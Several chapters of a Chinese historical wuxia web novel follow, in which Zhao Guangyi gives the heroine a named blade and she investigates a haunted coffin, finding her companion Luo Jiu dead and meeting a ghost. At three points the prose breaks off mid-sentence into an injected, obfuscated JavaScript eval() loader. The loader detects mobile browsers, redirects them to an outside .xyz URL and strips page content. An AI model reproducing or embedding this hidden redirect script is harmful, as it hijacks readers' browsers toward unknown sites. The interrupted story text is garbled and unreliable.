在昏黄葳蕤的烛光之下,他将长刀慢慢放入刀鞘中,只听“咔”一声,刀身与刀鞘严丝合缝,合二为一。 “为什么李将军会有这把刀的刀鞘?”她问。 沉默良久,他才抬眸望向她:“十五年前,守城之战,多亏李大将军施以援助,开封城才算守住。爹为了答谢李大将军,便将这把刀分成了刀和刀鞘,刀留给自己,刀鞘送给李大将军,以示交情深浅。” 不过,她又怎么知道? 莫非......赵光义陡然睁大眼睛,不可置信地看向她,再一次地逼迫她开口,将白日宝津楼的种种,详细告诉了赵光义。 起初,他让算三春去打听,只打听到李平远火烧宝津楼,李平远自己也葬身火海。赵光义机关算尽,却算漏了这个刀鞘——李平远的做法与赵光义正好相反,李大将军死后,李平远一直随身怀揣着这个刀鞘,大抵同李存勖持矢入庙敬献晋王李克用一般,李平远既想报仇,却也不忘,报仇之前,要物归原主的道理。 “赵光义......” 她看到他眼眶微垂,疑似泪水盛满。 “你......怎么......” “那我深知这个世上有太多人恨我,有太多人想要我的命......因此,开封府需要这把刀,开封城需要这把刀,宋境也需要这把刀,更重要的是——我赵光义也需要这把刀。”赵光义深吸一口气,一眼坚定从容,端庄镇静地看着她,双手捧起这把刀,“君恩重,人心重,不知各各将何用。大道不见是非心,名利器尘幻如梦。生於乱世遇时平,掌握纵横谁纪颂。善念入无边,恶也不知痛。” “少侠,拿去便是。” 她犹豫许久,只觉得这份报酬太过于贵重,她不过乡野草民,不过稀里糊涂同京尹大人赵光义有了照面,结下了孽缘。相处没过几日,各自底细也不算太熟,一下就送这么美的刀......她可要不起。 可赵光义目光如炬,毅然决然令她收下。 “此刀乃是金错刀,不过,少侠当可重新命名。”赵光义又摆出那运筹帷幄的态势。 脸上柔情渐消,很快,他又将目光移向那舆图,低沉地来了一句:“世道险恶,人心难琢,倘若真有人能将我看透,想必赵某穷其一生,别无他求。” 从来非不求知己,方觉俗情似流水。 “什么?”她没听清。 “无妨,少侠为这把刀起个名字,也算尽了爹的遗愿了。”赵光义的声音须臾柔和,简直与方才自言自语产出那模糊不清的字眼的语气,天壤之别。 她端详了一番金错刀,又在赵光义面前,来了几招。 最终,她收起金错刀,将其挂于腰间,对赵光义抱拳作揖:“感谢京尹大人相赠,此刀绝世无双,不如就叫——” 她顿了顿,在赵光义顾盼的眼眸中,倏然开口:“侠骨香。” 12. 秦氏女,浩然心(一) 第十二章·秦氏女,浩然心(一) “侠骨香。”赵光义不知为何,目光怔愣片刻,显现出一丝复杂。 她注意到了,却始终没有问。她性情活泼,绝非信口开河。有些话,对于赵光义来说,若是难以开口,他可以保持缄默,闭口不提,她也应当不去追问。 “好名字?”她反问道。 赵光义在她身后沉吟半晌,才道:“嗯,好名字。” 报酬弄完,赵光义和她也没有继续待在密室的必要,他欲要抬脚带她离开这晦暗之地,走了几步,发现她没跟上,悻悻然叹了口气,回首望向她。 算来,赵光义一直没有认真地去端详过什么人,至少不带什么心思地去端详。在朝堂之中,唇枪舌剑,他看人总会带着些许偏见和孤傲,甚至他觉得人心本就是用来算计的,算计盈亏,算计输赢。 当是时也,她明朗如光,站在昏暗的密室里,如同那挂壁的摇曳烛火,乍明乍现,惹得他心里泛起一阵涟漪。 或许,贯看人心,其实并没有那么难。 他竟这么想着。 “赵光义,我向你讨解药。”目光铮铮,口声朗朗,这就是她如此简单的心思,不带任何杂念丈量,只直白地说出自己的渴望。 他没怎么听过这么简单的诉求,于是他目光微动,心中踌躇。赵光义慌了,双手垂于身侧,心思百转千回——果然,人本就贪心不足,他甚至多么希望,她的诉求不止这些,譬如解药背后的某些爱与恨,不然微薄执念,他不好去消解。 “解药?”赵光义微蹙眉头,他又变成那冰冷的样子,连他自己都觉得可怕,“少侠,我想要你的命,那日在樊楼群英会,当可直接杀掉你。但我没有,证明你的命,于我而言,没什么太大的价值。” 她往后退了一步,完全没有料到赵光义会这么回答。本来,说出这番话时,她盯着他的眼眸,本就不奢求他能给她解药,哪怕给她一点线索也是好的,可是没想到他会这么决绝,甚至张口闭口,就拿命用“价值”来衡量。 她冷笑一声,再度问道:“赵光义,你难道不心虚吗?” 赵光义眸色一暗,她笑了,胜券在握般说道:“你的命也是我豁出这条命去救的。” 那时,在旷虚幽间,他伤痕累累,气息奄奄,跪坐于高台之上,是她突如其来闯进,一剑了结紫薇星劫,救他于水火,一次又一次。 “少侠,可还是没有听懂?”赵光义淡淡地道,“那日我喂你吃的,并非七日断魂丸,乃是太医署制的药丸罢了。” 赵光义等到很久之后才能明白,她所说的“你的命也是我豁出这条命去救的”,究竟有多重。古时素有“大将军一言九鼎”之美谈,赵光义自幼精通兵家之谈,又怎会不知其中之意,可偏偏当局者迷,旁观者清,他那时就是不懂。 不羡仙的那些人命,纵使没有救到,那也豁出去救了。她办事总有一种一诺千金的道义在,这也是她最吸引他的地方。只不过赵光义从不肯认清自己的内心,他觉得这叫“素昧平生”。 “不管你说得是真是假,七日之后,可见分晓。”她拱手作揖,感激道,“多谢京尹大人相赠此礼遇,若没什么事,我就先走一步,明日还有要事,不能耽误太久。” 赵光义本想留她在开封府暂住一晚,可他实在没想到自己的嘴能这么毒,毒到他无法平心对待她。看她转身离开密室,留他一人独坐寝间,望着月色,辗转难眠。 庭中梨花开得正盛,赵光义背靠窗棂,抬眸望着千树万树的梨花,又想起白日她流的泪,那滴泪还在他指尖滚烫。 她这么重情重义的一个人,对待生死无常,总是那么义正词严。可赵光义不一样,他站那么高,只差一步就能与大哥平齐,这世间所有的苦痛他必须承担,必须做出一个判断,所以他不能被动,不能惊恐,唯有无情无义,才能无畏。 此间恨意太多,并非一朝一夕就能冰释前嫌。 乱世之中,淡漠生死才是最好的选择。 * 翌日一早,她从瓦肆的楼梯上走下来,恰好看到洛九正坐在门墩处,望着街上的奚落人群发呆。 她走过去,拍了一下他的肩膀:“终于找到你了,是不是该还钱了?” 洛九吓了一跳,先是大叫一声,这才对上她的眼睛,拍拍胸脯,心惊肉跳地道:“吓死我了,原来是少侠啊!今日起这么早,可是有什么心事吗?” 嚯!她觉得她又被耍了。 当初看洛九长得纯良无害,除了话比较多之外,似乎挑不出什么问题,最主要的是,他承诺还钱的态度很真诚。她初出茅庐,太容易相信别人了,气得她抡起拳头,使出全身力气,一拳重重地砸在洛九的肩膀上。 不过,也是奇怪,她竟然信了昨晚赵光义的鬼话。 那七日断魂丸,不过是普通药丸罢了。 只听洛九吃痛捂住双肩,脱力地躺在地上,道:“少侠,你听我解释!” “解释?”她双手叉腰,一脸不屑地道,“解释什么?” “昨日在九流门搜集到一处情报,不知少侠愿意和我去探查一番?”洛九挠挠头。 她松了力气:“哦?什么情报?” 洛九摇摇晃晃地站起身,双手抱臂,故作神秘地道:“少侠可知......城东处有一宅邸,被封了好多年......据说住在附近的人,每至深夜子时,总能听到女子的啼哭声......” 她一下来了兴趣,忙凑上前,让洛九继续讲,却被洛九抬手拦下,他意味深长地道,再请吃一顿饭。 行,请就请,反正升平桥那早餐铺也不太贵,她也能负担得起。再加之,洛九愿意用一个情报来换她一顿早饭......其实她觉得还挺划算的。 “好,请就请,别忘还钱!” “好少侠,洛某人明日一定还!”洛九承诺道。 他正想往瓦肆外走,她眼疾手快,一刀挡住他的去路。只听她冷冷地道:“明日再不还,别怪我不客气。” 洛九一嗔,忙拱手苦笑道:“好少侠,我洛某人可信守承诺了!” “我劝你今日就挑好你的冢。”她收起金错刀,而后抬脚跨过门槛,走出瓦肆。 “诶诶诶!少侠,这句话可不兴说。洛某人打听到前几日有一伙盗墓贼,本想盗前朝皇室的墓,没承想行错了路,误打误撞进了这宅邸,打头的盗墓贼见有一口木棺,兴致冲冲就劈开一口,谁能想到——”洛九卖了个关子。 她急不可待:“怎么了怎么了?!” 洛九清清嗓子,抬高音量继续道:“那木棺里竟然躺着个大活人!盗墓贼刚一露头,身子就落了地!” “啊!” 她吓得不轻,脚步往后虚退了半步。这半步刚好行至汴水边,洛九没意识到,就连她自己都没意识到,跟随着惯性又迈出一脚。只一脚踩不到地面,却踩到了虚处,她心叫不好,抬手凭空倒腾几下,想借个力以稳住身形,却不想这根本就是无济于事。 本想就这样认命地落入水中,那后背却没能跌入汴水清凉处,反而被一只手牢牢地桎梏住。 “少侠......”声线带着些许颤抖。 她微微睁开一只眼,先是看到一抹月白色的身影,再是跟随微风浮动的发丝,最后再是那张神色担忧的眉眼。 “有无大碍?”大概是看她真的没什么大碍,语气放平,整个人也显得更加颇有风度。 整理好衣服,她回首一看,那人站在杨柳下,湖风吹动衣襟,染红了他半张脸。 怀中人,几分真,惹得卿卿思沉沉。 赵光义应该是刚下了朝,特意来升平桥吃早饭,没想到竟在汴水边碰到了她和洛九。他并不认识洛九,当赵光义看到她与洛九走走停停、说说笑笑,一股无名火从心里暗中升起。他的步伐不知不觉间停了下来,就在不远处阴沉沉地注视着这一切。 至于洛九所说的那故事,他也听到了几句。 赵光义并不相信这个人所言,他认为这个故事十分老套,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495622|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要他编,他也能编出来,且文笔和立意定然比洛九高得多。 可是,她好像真的很感兴趣。 感兴趣到能为了不知真假的故事,就赔了一顿饭钱。 “无妨无妨无妨!”她连忙摆手,挣脱开他的怀抱。 她站在洛九身侧,略显不知所措。赵光义的视线仿若黏在她身上一般,让她和洛九两人动也不是,不动也不是。 洛九轻咳一声,打破了这静谧:“多谢这位公子救我的好少侠!” 赵光义冷冷地道:“举手之劳。” “不知这位公子姓甚名谁,来日洛某定好好酬谢。”洛九感受到赵光义身上的威严,虽不知这人的真实身份,可他能从赵光义的举手投足间透露出的文人风骨,能猜到大概,但这个“大概”实在是太式微了。 她一把拉住洛九的衣袖,凑到他耳边提醒道:“洛九,待会说话,要注意言辞。” 而这番举动恰好被赵光义看在眼里,只见他眸色一黯,从腰间拿出那柄折扇,扇骨放于手心敲了几下,这才朗朗开口:“在下名叫晋中原,江湖游侠,不足挂齿。” 洛九连忙毕恭毕敬地道:“九流门弟子,洛九,今日之事,感谢晋公子出手相救,不如——” 赵光义眸色收敛,抖开折扇,道:“晋某方才略听一耳洛公子打听到的故事,也颇有兴致,二位若有时间,不妨于食饮时,可同晋某说说。” 看到赵光义有板有眼将洛九耍得团团转的样子,她不由得捂嘴笑了笑。转眼看了一眼洛九,发现洛九真的对赵光义的身份深信不疑,而且也不知道洛九葫芦里卖了什么药,对待赵光义,不,确切来说,对待晋中原简直比京尹大人的随身暗卫还要恭维。 这顿饭是赵光义请的客。洛九察言观色,点的菜也相当阔气,将早餐铺最贵的食物都点了一份。店小二一盘又一盘,一碗又一碗接着上菜,甚至还吟诗,锄禾日当午,汗滴禾下土,谁知盘中餐,粒粒皆辛苦...... 她目不暇接,用胳膊肘碰了碰洛九:“喂,你这点的也太多了吧?!” 洛九小声道:“这晋中原是你朋友啊?怎么刚才在河边儿那样,难分难舍的,好像你俩认识一样?” 她瞥了一眼赵光义,发现他正坐在她的对面,先是同她对视一眼,再埋下头,默不作声吃着碗里的面。 “什么‘难分难舍’!”她反驳道,“我是认识他,比较熟悉,但不算朋友。” “他家......是不是挺金贵的?” “他家......” 何止金贵啊,简直天地难当! “诶!”她打算给赵光义一记下马威,让他别老整天端着架子,于是抬高音量,形象生动地道,“晋家自古出状元,他本一介书生,一心考科举,奈何命途多舛,被辽人一把火灭了门。比较幸运的是,他当时赴京赶考,躲过这一劫。但辽人并不想放过他,近些年岁,一直派人暗中寻找——科举是没考上,还整日整夜惊心动魄的逃亡......” 赵光义扶额:“咳咳——” “啊!晋公子原来生平如此跌宕!”洛九被她所编的故事感动的热泪盈眶,而后将目光转向神色复杂的赵光义,在洛九眼里,他认为赵光义肯定是被她戳中了难以言说的不堪过往,所以才如此不安,于是,他扮演起老好人来,“晋公子,是洛某错了,不该浅显看人心。” “你现在知错了?”她冷脸看着他,“下次还敢点这么多?!” 洛九羞愧地道:“只是......这顿饭钱——” “无妨,”赵光义抢过话锋,“晋某为人诚信,说到做到,本就是请二位的,不用愧疚。” 饭吃到一半,她还没吃饱,就见算三春气喘吁吁地跑过来,趴在赵光义耳畔说着些什么,下一秒,赵光义惊恐地瞪大眼睛,难以置信地望着她。 算三春也顺着目光望向她,她停下筷子,茫然开口:“怎么了?” “少侠,还请再说一遍方才的故事。”算三春按住腰间的佩刀。 13. 秦氏女,浩然心(二) 第十三章·秦氏女,浩然心(二) 算三春的神色颇为难捱,似乎带着点难以宣之于口的事情在。相反,洛九极快捕捉到算三春的不对劲,又上下打量着他的装扮,一看就是开封府的人。洛九稍一挑眉,将目光转向了赵光义。 “晋公子自称是江湖游侠,为何跟开封府的关系如此之好?”洛九问,“可是有什么隐情?” 她停下吃东西的动作,心跳如擂鼓。在此之前,她一直认为洛九只是单纯爱欺瞒,所以才编出那故事专门为了忽悠他,谁知她却忽略了,爱欺瞒的人城府一般都很深,洛九很大可能表面上装着疯癫,内心却比谁都清楚。他点这么多菜,就是为了考验赵光义的。 奈何赵光义身处庙堂,算计再精明,可这是江湖。江湖上的事儿,怎么能用庙堂那心胸去衡量? “在下不过是开封府小小推官,专管府中难以处理的江湖之事。今日少侠、洛公子在此,晋某只能提起江湖之分,至于府中要职,晋某认为,并不能全权相告。”赵光义对她笑了笑,压低声音道,“更何况,人心......若没有秘密,那还算是人心吗?” 她想到了昨晚,在开封府潜龙殿的密室里,他也曾这么跟她说过,关于“秘密”一事。那会儿赵光义怎么说的,他说,秘密——唯有亲密无间者,才能拥有。 虽然说方才赵光义那一席话也算是分享秘密,不过,这个秘密并不是真心的,甚至说,赵光义还在欺瞒洛九,这也证明了,对于赵光义来说,洛九并不是那位“亲密无间者”。 唯有她,也只有她,赵光义真的同她说出了他心中所想,他的贪欲渴求,他的狼子野心。 算三春大抵是见多了赵光义的这番说辞,也跟着附和几句,才将目光转移到她这里,淡然开口:“少侠,请再说一遍那故事。” 编出来的故事有什么意思再说一遍? 总觉得其中之事不简单,可偏偏赵光义也用眼神示意她。本来做贼就心虚,现在好了,舞刀弄到舞刀人手中,她进也不是,退也不是,一时想不出什么说辞,只能再将那故事复述出来。 “少侠这故事......在下不过一介下官,只能听得点大概。开封城东确实曾有一户富商,那富商姓晋,同样是一心科举却仕途坎坷,最终弃之若履,转身从事商贾之事。”算三春的眼睛眯成一条缝,若有所思地道,“还有一点相似之处,就是这富商的确被辽人追捕,最后死于辽人的铁骑之下。” “这富商名叫晋衡,不知少侠可有听过?”算三春道。 “没有。”她摇摇头。 乱世出英雄,英雄的风光她还没欣赏完,更何况这种富商之属的小人物呢? 算三春的眸中闪过一丝失望,她回避开算三春的视线,看到一旁的洛九正心无旁骛地吃着包子。 洛九......包子......对了——她记得洛九曾跟她讲过,开封城东有一口棺,夜半时分,啼哭声阵阵,假若洛九这次没有骗她,那么算三春所说的晋衡、这位富商,也曾住在开封城东。 有没有一种可能,这口棺跟晋衡脱不开关系。 “不过,”目光移向洛九,“你说的那事儿可是真的?” “什么事儿啊?”洛九咬着包子,含含糊糊地道。 她用眼神示意道:“开封城东,盗墓之棺,夜半啼哭......” “哦哦哦,这事儿啊,这事儿可是真的!”洛九一拍胸脯,三下五除二将手中的包子吃了进去,顺便抬手蹭了蹭衣角,将油渍蹭到布料上,而后拉着她的胳膊站起身,“九流门情报,千真万确。” “少侠,只要你信我,今晚子时,开封城东,当可一探究竟!”洛九立下了承诺,便运起轻功,逃之夭夭。 整个升平桥早餐铺,只余下她、赵光义和算三春三人面面相觑。她本就不太相信洛九,可这事儿背后透着古怪,偏偏又与晋衡有关,便不由得她信了几分。赵光义默默收起视线,算三春掐指一算,眉头紧锁。 夜风未起,杀机却已暗涌。她握紧腰间的金错刀,心中已然决定,子时必赴开封城东,不管洛九所言是真是假,那口棺材,她都要亲眼瞧个明白。 * 开封城东被一层浓厚的夜色笼罩,街巷间寂静无声,唯有偶尔传来的几声犬吠,打破了这份死寂。 她按照与洛九的约定,独自一人来到那晋氏旧宅前。 月光稀薄,只能勉强照亮脚下的路,她小心翼翼地前行,每一步都踏得极轻,生怕惊扰了什么。 四周的房屋在夜色中显得格外阴森,窗户紧闭,仿佛里面藏着什么不可告人的秘密,显得格外诡异。她心中虽有忐忑,但更多的是坚定,那口棺材,那夜半的啼哭声,究竟隐藏着怎样的真相,与富商晋衡究竟是什么关系......她必须弄清楚。 “吱呀”一声,她抬脚踹开晋氏旧宅的大门,灰尘四起,惹得她轻咳几声,随后拉起蒙面巾,戴上斗笠,挡住口鼻,只露出一双眼睛。 门庭破旧斑驳,院中枯树零落,并没有那传言中近乎邪乎的棺材。阴风四起,月亮横在天心,打更人的棒子从远及近,传到她的耳畔。 子时到了。 一片漆黑,她试图亮出火折子,却不知为何,一连几次,火苗都烧不出来。她叹了口气,只好悻悻然作罢,转而反手握进腰间的金错刀。 洛九那人不知道跑到哪里去,明明说好子时,城东处会面,但一直等不到他的身影,她只好只身前来。 她来这儿的目的,就是为了要见那口棺材,所以无论如何,她都要找到盗墓贼打下的地道。 她屏住呼吸,在晋氏旧宅中仔细搜寻,不放过任何一个角落。指尖轻轻划过长满青苔的墙壁,眼睛则紧紧盯着地面,期望能找到一些不同寻常的痕迹。 行了几步,她穿过破落的游廊,来到一间破旧的厢房。 突然,脚边似乎踢到了什么东西,发出“咚”的一声闷响。她心中一紧,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495623|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙蹲下身子,用手摸索着。触手所及,是一块松动的石板,与周围的地面相比,有着明显的差异。 地道就在这里。 她心中大喜,双手用力,试图将石板掀起。石板很重,但她咬紧牙关,使出了全身的力气。终于,石板被缓缓掀起,露出下面一个黑洞洞的入口。一股腐臭的气息扑面而来,让她差点吐出来晚上吃的那些烧饼杂粮。 她强忍着不适,从怀中掏出一块手帕,捂住口鼻,然后小心翼翼地顺着地道往下走去。地道狭窄而曲折,墙壁上满是灰尘,脚下的地面也十分湿滑。她每走一步都要格外小心,生怕一个不小心就摔倒在地。 不知走了多久,前方终于出现了一丝光亮。她心中一振,加快了脚步。当她走出地道时,眼前的景象让她惊呆了。 一口巨大的棺材摆放在地道的尽头,棺材周围点着几盏昏黄的油灯,在黑暗中摇曳不定,将周围的一切都映得影影绰绰。棺材上刻满了奇怪的符文,似乎在镇压着什么东西。 只是,她心中疑惑,这棺材怎么会放在厢房里,而不是埋进土里或者安葬于祠堂之中? 她缓缓走近棺材,心跳不由自主地加快。就在这时,她突然听到身后传来一阵轻微的脚步声。她心中一惊,连忙转身,手中的金错刀也瞬间出鞘,警惕地盯着声音传来的方向。 就在她即将靠近那口被传得神乎其神的棺材时,一阵冷风吹过,吹得她打了个寒颤。她停下脚步,环顾四周,却并未发现任何异常。然而,就在这时,那棺材内部突然传来了一阵细微的响动,像是有人在低声啜泣,又像是某种邪祟在挣扎。 她的心跳瞬间加速,握紧金错刀的手也微微颤抖。但她没有退缩,而是步步靠近,试图找到夜半啼哭声的来源。就在她即将触碰到棺材盖的瞬间,一只手突然从棺材内伸出,紧紧抓住了她的手腕。 “什么人?放手!” 她大惊失色,本能地想要挣脱,但那只手却像铁钳一般,死死地抓住她不放。 定睛一看,发现那只手苍白而瘦削,指甲修长且尖锐,颜色青紫,温度冰凉。 她不傻,猜到了这是尸者的手。 “谁?”她质问着,声音在空旷的地道中回荡,显得格外凄厉。 无人回应。 此时,立风雨安如山远比鸡飞狗跳要强得多。但是她不能,尸者的手已攀上她的护腕,证明棺材里的人或者宅邸中的人已经发现了她的存在。 她要弄清楚棺材里躺着的是谁,为何盗墓贼会死得相当之惨。 罢了罢了,既来之则安之。 微微闭眼,深吸一口气,她引渡内力,一掌拍开棺材板。 须臾之间,屋外寒鸦声阵阵,争鸣不休,西风徐来,吹开厢房的门扉,纸糊的窗户哐当作响。 她这一掌带着十足的力道,棺材板“轰”的一声被拍飞出去,扬起一阵尘土。尘土散去,她定睛往棺材里看去,只见里面躺着的不是别人,而是洛九。 14. 秦氏女,浩然心(三) 第十四章·秦氏女,浩然心(三) 棺材里躺着的人面色如纸,唇色青紫,身体渐凉。她垂眸伸手探了探洛九的鼻息,连微弱的气流都没有。 看来,他已经再无生的希冀了。 这也难怪方才在开封城东等了半天都没有看到洛九的身影,他一定比她先到了晋氏旧宅里,也同她一样,来到了这间厢房里。她凝视着洛九的尸体,仔细思索片刻,总觉得这是个邪术。 唯一奇怪的一点,洛九似乎是被闷死的。他的身上并没有什么伤口,甚至可以连打斗痕迹都没有。他躺在棺材里,就好像他是自愿躺进去一样。 若棺材里本没有尸体,那盗墓贼为何会死。若棺材里本就有尸体,且尸体是盗墓贼的,那是否洛九曾把尸体搬出来,触动什么逆鳞,误打误撞进了棺材。当然,还有一种可能,原先棺材里的尸体另有其人,只是这个人目前不知道身处何地。 她暗自道:“洛九,怎么能把自己的命搭进去呢?” 忽而窗边风动,闪过一道黑影,她警惕性地握紧腰间的金错刀,小心翼翼环顾四周。檐下的树影犹如魑魅魍魉般,捉摸不透,迷糊不清。她能依稀听到那哭声由远及近,似乎还伴随着什么兵戈声。 何人? 为何会哭? 鼓起勇气,她踱步朝厢房门口处走去,透过门板上的裂痕,她往厢房外看了看。除了微薄的迷雾和庭中的断壁残垣,再也看不到什么东西了。至于那哭声,那兵戈声,她一直认为这是幻听,直到她将目光往右转了转...... 一双灰白色的瞳孔贴近门板,透过罅隙,往厢房内看来。 她不由得倒吸一口凉气,抬手捂住自己的嘴,将惊呼声瞬间咽了下去。危机当前,她不敢轻举妄动,她的眼睛也能凝视着门板外的眼睛,哭声犹如合抱之木般,莹莹绕绕,不断缠绵。 刀鞘刮过墙壁,发出一阵低沉的鸣响,一块乌金铁制成的虎符挂在刀穗上。她动作极轻、极静,慢慢地将虎符拿在手中。 只见上面写着一行字:幽州镇北营大将军晋衡持。 按照晋衡在晋家中的地位,是不可能让他住在厢房,更不可能在厢房里摆上一口棺材。 “你为什么不哭呢?”屋外的那个身影带着点哭腔道。 她没有说话,依旧闭口缄默,现在并不是说话的好时候。不知那个身影出于什么目的,但她不想跟洛九一样,无缘无故闷死在棺材里。 “你要不哭......那你能把那东西给我吗?”那个身影继续道,“我找了它好多好多年,一直没找到。没找到就没办法去幽州。” 她还是没有回应。 “我若去不了幽州,过几日辽人南下,幽州......幽州可是守不住了。”那个身影哭了,哭声凄惨,比方才更加强烈,“我不求你能助我一臂之力,但求你能带我重回幽州。” 她觉得这是该开口的时候了。 因为那个身影说完,便只剩下哭声了。 许是方才身影的对白,让她的心里放松了对待身影的恐惧与警惕,更多的却是一种同情和怜悯。她的老家在清河,离幽州很近。早年,她听闻江叔同她讲,幽州的长城多么巍峨,山河多么壮阔,她说她也想去那里看看,江叔却道,那你没机会了。她问江叔,为什么会没机会呢?江叔淡淡地道,因为幽州是辽人的地方了。 她行走江湖没多少日子,但听到许多人抱怨现在世风日下,每天苟且偷安,他们活不久,还怕死,不想死,就只能活的言论。她听闻有人念旧大唐风光,想如果有机会,一定要早生些时候,去亲眼看看那繁华雍容的长安,而不是待在这穷苦贫乏的开封。还有一些人,她也听闻了,那些人是燕云之地的人,因为辽人占据,不得已才往中原迁。 游子身上衣,扁舟何时渡? “你又是谁?”她反问道,“我为什么要带你回幽州?你可知道,现在幽州是谁的地儿?” 那个身影道:“辽人......我一定要杀了这群狗契丹!” “若我们能知晓彼此的姓名,或许我愿为你搭上一程。”她道。 “好好好......求你......让我进去......”那个身影乞求道。 她沉下心,忽觉哪怕这是身影吞入腹中的计谋,但她有金错刀,她有金兰心,她便什么都不怕了。于是,她微微侧身,打开门阀,将门开了个小缝。 凉风吹过,厢房外除了阵阵叶落,什么都没有。 那刚才同自己说话的是谁? 只听身后传来熟悉的哭声,身影的每一次哭都带着铁马兵戈的声响,她慌忙拔出金错刀,刀锋划过哭声过音之地。 刀锋什么血肉皮毛都没碰到,她只觉有一股气流离自己愈来愈近,近到这股气流就在自己眼前。 很快,她好像意识到什么一样,从腰间拿出火折子,刷拉一下,手中亮起一簇火,火光照耀下,是一道雾白色的身影。 这是个魂魄。 流离失所之魂。 死无葬身之地。 “我的家怎么会有别人?”魂魄一边说着,一边飞向那打开的棺材,泛白的指尖指着洛九的尸体,哭泣道,“晋衡......晋衡没有说过,今晚还会有不速之客......晋衡......是啊,晋衡已经不在了......他不在了才是最好的......所以,你又是谁?” “你又是谁?”她亮起手中握着的虎符,“你提到的晋衡......是这个人吗?” “是他!是他!是他!”魂魄飞过来,欲要抢夺那虎符,她闪身一躲,那魂魄碰了壁,“把虎符给我!把虎符给我!把虎符给我!” “你还没回答我的问题呢,我怎能把虎符给你?”她灵机一动,打算借用赵光义的权势地位,便道,“今日我奉京尹大人之令,前来开封城东晋氏宅邸查案,而这虎符皆是物证,你是来者,若不自报家门,让我怎么跟开封府讲话?给不给我们开封府面子?” 那道身影微微一愣:“开封府......开封府......你跟京尹石重贵大人讲,我......我乃晋衡之妻秦氏,你告诉石大人,他知道的,他一定会帮助我的。” “石重贵?”她微微垂眸,看到秦氏抓住自己的衣摆,跪地乞求,她意识到魂魄并不是宋人,而是前朝之人,“现在的京尹大人姓赵不姓石。” 秦氏慌了,握住她衣摆的手缓缓垂下来,道:“姓赵......那石......石大人去哪里了?” 她解释道:“前朝之事,早已过去。今朝乃宋,你且听得便罢了。” “石大人死了......石大人不在了......晋......晋也不在了......”秦氏喃喃道,面目惊恐不安,甚至还带着点遗憾,在她微微泛光又饱经风霜的脸上,显得格外光怪陆离,“石大人不在,晋也不在......那幽州的兵马怎么办?那汉人怎么办?” 说罢,秦氏如疯了一般跳起来,跃身于她的身上,锋利的指尖擦着金错刀的刀锋而过,目光死死地盯着她手中的虎符。秦氏停止了啼哭,转为呕哑的尖叫,凭空挥舞着指尖,握住金错刀的刀柄,却被她抬手劈断。 魂魄之身,是感受不到痛楚,同样劈砍不断躯体的。 金错刀刀锋落下去的瞬间,秦氏的指尖化为一缕烟,烟雾缭绕瞬间又恢复如初。 “你告诉我,”秦氏凑上前,攥紧她的衣襟,“你是汉人对不对?” 她点点头。 “帮我找到石大人,我要同他说一句话。”秦氏道,“很重要......石大人一身坦荡,只要他死而不降,我便尽了我的执念。” 她握住秦氏的手,感受到秦氏冰凉的体温,看到秦氏满脸泪眼纵横,不知不觉间,竟有些心疼。秦氏跟坊间很多人一样,都较为念旧,感怀前朝之恩,而戾今朝之痛。但秦氏只知道石重贵不在了,晋也亡国了,多少春秋犹如浮水流沙般过去,多少世道艰险犹如一丘之貉般流动。 而今,她看着秦氏那灰白色的眼睛,听到秦氏泣而不止的哭响,许多话到了嘴边,又被她尽数吞下。她不过是宋人,她无法体会晋人的苦痛,更无法评价秦氏的疯狂。 这么多人都对前朝念念不忘,心中满是难以割舍的眷恋与悲愤。他们沉浸在过去的辉煌里,无法接受如今这翻天覆地的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495624|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变化,仿佛失去了精神的寄托,只能在回忆中寻找一丝慰藉。可这世间的更迭本就无情,新的秩序已然建立,那些旧日的念想,也只能随着时光的洪流渐渐远去。 “请你帮我......帮我调集幽州的兵马,帮石大人抵抗辽人的铁骑!”秦氏铁骨铮铮,仿佛这句话并非恳求的语气,而是一种宁死不屈,万死以赴的坚定意志。 说罢,秦氏趁她恍惚之际,眼疾手快地夺走她手中握着的虎符,在她反应过来后,秦氏那雾白色的身影已然绝裙而去。 她料到自己又被诈了,心下一愤慨,连忙跨过门槛,望着那雾白色的身影远去的方向,运起轻功,飞檐走壁,一步跃出晋氏宅邸的大门。 但一出大门,她便觉得不对。按到底来说,她出门之时,已是月黑风高夜,哪怕方才在晋氏宅邸里同秦氏谈心再对峙,那时辰也不该过这么快。 可是,现如今,大门外下着茫茫细雨,路上的商贩慌忙去找地避雨。她孑然一身立于大门前,觉得有些不对,想到秦氏拿完她手中的虎符后,一切便出现了不少的变故。 晋氏宅邸附近本就荒无人烟,很多人都称之为“鬼宅”,可如今,眼前的情景却与传言相反。 她觉得这是一个幻术,而幻术的中心一定在晋氏宅邸内,于是她又转身想运起轻功再度回到那间厢房。 